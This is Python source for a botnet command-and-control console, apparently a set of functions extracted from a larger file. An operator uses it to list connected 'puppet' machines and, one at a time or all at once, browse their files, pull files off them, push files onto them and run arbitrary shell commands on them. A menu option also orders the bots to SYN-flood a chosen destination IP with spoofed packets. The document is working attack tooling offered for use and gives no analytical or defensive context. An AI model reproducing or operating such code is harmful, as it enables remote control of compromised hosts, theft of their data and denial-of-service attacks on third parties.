def receive_file(self): """ Uploads a specified file to the bot and saves it at the specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] Invalid source path: {source_path}\n")) return try: with open(source_path, "rb") as file: file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) self.socket_fd.send(bytes("download", 'utf-8')) self.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) self.socket_fd.send(len_filename) self.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() self.socket_fd.sendall(file_data) file.close() except (FileNotFoundError, socket.error) as error: if "No such file or directory" in error: print(to_red(f"\n[ ! ] File not found: {source_path}\n")) return print(to_red(f"\n[ {self.ip_address} ] Socket error: " f"{error}\n")) return else: print(to_green(f"\n[ {self.ip_address} ] File {source_path} " f"uploaded successfully \n"))
def _interaction_menu(): """ Prints the interactive menu """ print( to_yellow("\n[0] Disconnect\n" + "[1] List files\n" + "[2] Download from puppet\n" + "[3] Upload to puppet\n" + "[4] Run remote command\n" "[5] SYN Flood attack\n" "[9] Back\n"))
def list_files(self): """ Sends the list files command to the bot then receives and prints its output """ self.socket_fd.send(bytes("list files", 'utf-8')) directory = input(to_yellow("[ LIST FILES ] Path: ")) self.socket_fd.send(bytes(directory, 'utf-8')) output = self.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE).decode('utf-8') print(f"\n{output}")
def _download_from_all(self): """ Downloads specified file from de puppets and saves to a specified output path """ remote_file_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) local_filename = input(to_yellow("[ DOWNLOAD ] Save as: ")) if os.path.exists(local_filename): print(to_red("\n[ ! ] Invalid output path\n")) return if remote_file_path in ("", ) or remote_file_path in ("", ): return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 for puppet in self.__connected_puppets: output_file_name = f'{puppet.ip_address}' + local_filename if os.path.exists(output_file_name): print(to_red(f"\n[ ! ] File exists: {output_file_name}\n")) return puppet.socket_fd.send(bytes("upload", 'utf-8')) puppet.socket_fd.send(bytes(remote_file_path, 'utf-8')) file_size = puppet.socket_fd.recv(256) file_size = int.from_bytes(file_size, "little") file_data = puppet.recv_all(file_size) try: with open(output_file_name, "wb") as file: file.write(file_data) file.close() total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ] " f"{output_file_name} downloaded from " f"{puppet.ip_address}\n")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}")) return except Exception as error: print(to_red(f"\n[ ! ] Can't write to file: {error}\n")) print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _interact_with_one(self): """ Shows a menu to interact with a chosen puppet (if there is any puppet connected) """ if not self.__connected_puppets: print(to_red("\n[ - ] There is no puppet connected\n")) return puppet = self._choose_puppet_from_list() while True: _interaction_menu() try: command_number = input(to_yellow("[ UNICAST ] >> ")) if command_number == '0': self.__database.update_puppet_status(puppet, new_status=0) puppet.disconnect() self.__connected_puppets.remove(puppet) return elif command_number == '1': puppet.list_files() elif command_number == '2': puppet.send_file() elif command_number == '3': puppet.receive_file() elif command_number == '4': command = input(to_yellow("[ SHELL COMMAND ] Command: ")) puppet.run_command(command) elif command_number == '5': puppet.syn_flood() elif command_number == '9': return elif command_number in ('help', '--help', 'h', '-h', '--h'): _interaction_menu() else: print(to_red("[ ! ] Invalid choice, use 'help'")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[{puppet.ip_address}] {error}\n")) return
def send_file(self): """ Downloads specified file from the bot and writes it to the disk at the specified path """ source_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) destination_path = input(to_yellow("[ DOWNLOAD ] Save as: ")) if source_path == "" or destination_path == "": return if os.path.exists(destination_path): print(to_red(f"\n[ ! ] File exists: {destination_path}\n")) return self.socket_fd.send(bytes("upload", 'utf-8')) self.socket_fd.send(bytes(source_path, 'utf-8')) file_size = self.socket_fd.recv(1024) buffer = int.from_bytes(file_size, "little") file_data = self.recv_all(buffer) with open(destination_path, "wb") as file: file.write(file_data) file.close() print(to_green(f"\n[ {self.ip_address} ] File {destination_path} " f"downloaded successfully\n"))
def _upload_to_all(self): """ Uploads a specified file to all puppets at a specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] File doesn't exists: {source_path}\n")) return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) for puppet in self.__connected_puppets: try: with open(source_path, "rb") as file: puppet.socket_fd.send(bytes("download", 'utf-8')) puppet.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) puppet.socket_fd.send(len_filename) puppet.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() puppet.socket_fd.sendall(file_data) file.close() total_success_percentage += individual_percentage print( to_green( f"\n[ {total_success_percentage:.1f}% ] " f"{source_path} uploaded to {puppet.ip_address}")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[ {puppet.ip_address} ] {error}\n")) return print(to_green(f"[ Success: {total_success_percentage:.1f}% ]"))
def _choose_puppet_from_list(self): """ Choose a puppet based on it index on the list of connected puppets Returns: :obj: 'Puppet': chosen puppet """ self._list_connections() while True: try: puppet_id = int(input(to_yellow("[ INTERACT ] Puppet ID: "))) return self.__connected_puppets[puppet_id] except (ValueError, IndexError): print(to_red("\n[ ! ] Invalid choice\n")) continue
def _interact_with_all(self): """ Show a menu to interact with all puppets (if there is any puppet connected) """ if len(self.__connected_puppets) == 0: print(to_red("\n[ - ] There is no puppet connected\n")) return while True: _interaction_menu() try: command_number = input(to_yellow("[ BROADCAST ] >> ")) if command_number == '0': self._disconnect_all_puppets() return elif command_number == '1': self._list_files_for_all() elif command_number == '2': self._download_from_all() elif command_number == '3': self._upload_to_all() elif command_number == '4': command = input(to_yellow("[ SHELL COMMAND ] Command: ")) for puppet in self.__connected_puppets: puppet.run_command(command) elif command_number == '5': for puppet in self.__connected_puppets: puppet.syn_flood() elif command_number == '9': return elif command_number in ('help', '--help', 'h', '-h', '--h'): _interaction_menu() else: print(to_red("\n[ ! ] Invalid choice, use 'help'\n")) except socket.error as error: print(to_red(f"\n[ - ] {error}\n"))
def _control_panel(self): """ Shows a menu and starts communication based on the chosen option""" _main_menu() while True: command_number = input(to_yellow("[ COMMAND OPTION ] >> ")) if command_number == '0': self._list_connections() elif command_number == '1': self._interact_with_one() elif command_number == '2': self._interact_with_all() elif command_number == '3': sys.exit(0) elif command_number in ('help', '--help', 'h', '-h', '--h'): _main_menu()
def syn_flood(self): """ Floods the specified destination IP with forged packets with a specified spoofed IP address """ try: self.socket_fd.send(bytes("syn flood", "utf-8")) # source_ip = input(to_yellow("[ SYN FLOOD ] Source IP to use: ")) # self.socket_fd.send(bytes(source_ip, "utf-8")) destination_ip = input(to_yellow("[ SYN FLOOD ] Destination IP: ")) self.socket_fd.send(bytes(destination_ip, "utf-8")) except socket.error: print(to_red(f"\n[ {self.ip_address} ] Socket error\n")) else: print(to_green(f"\n[ Flooding ] {self.ip_address}" f" -> {destination_ip}:80\n"))
def _list_files_for_all(self): """ Lists the files of specified path on all connected puppets """ individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 directory = input(to_yellow("[ LIST FILES ] Path: ")) for puppet in self.__connected_puppets: try: puppet.socket_fd.send(bytes("list files", 'utf-8')) puppet.socket_fd.send(bytes(directory, 'utf-8')) output = puppet.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE) output = output.decode('utf-8') total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ]" + f"[ Output for {puppet.ip_address}:" f"{directory} ]")) print(f"{output}") except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}\n")) continue print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _main_menu(): """ Prints the main menu """ print( to_yellow("\n[0] List connected puppets\n" + "[1] Interact with one\n" + "[2] Interact with all\n" + "[3] Exit\n"))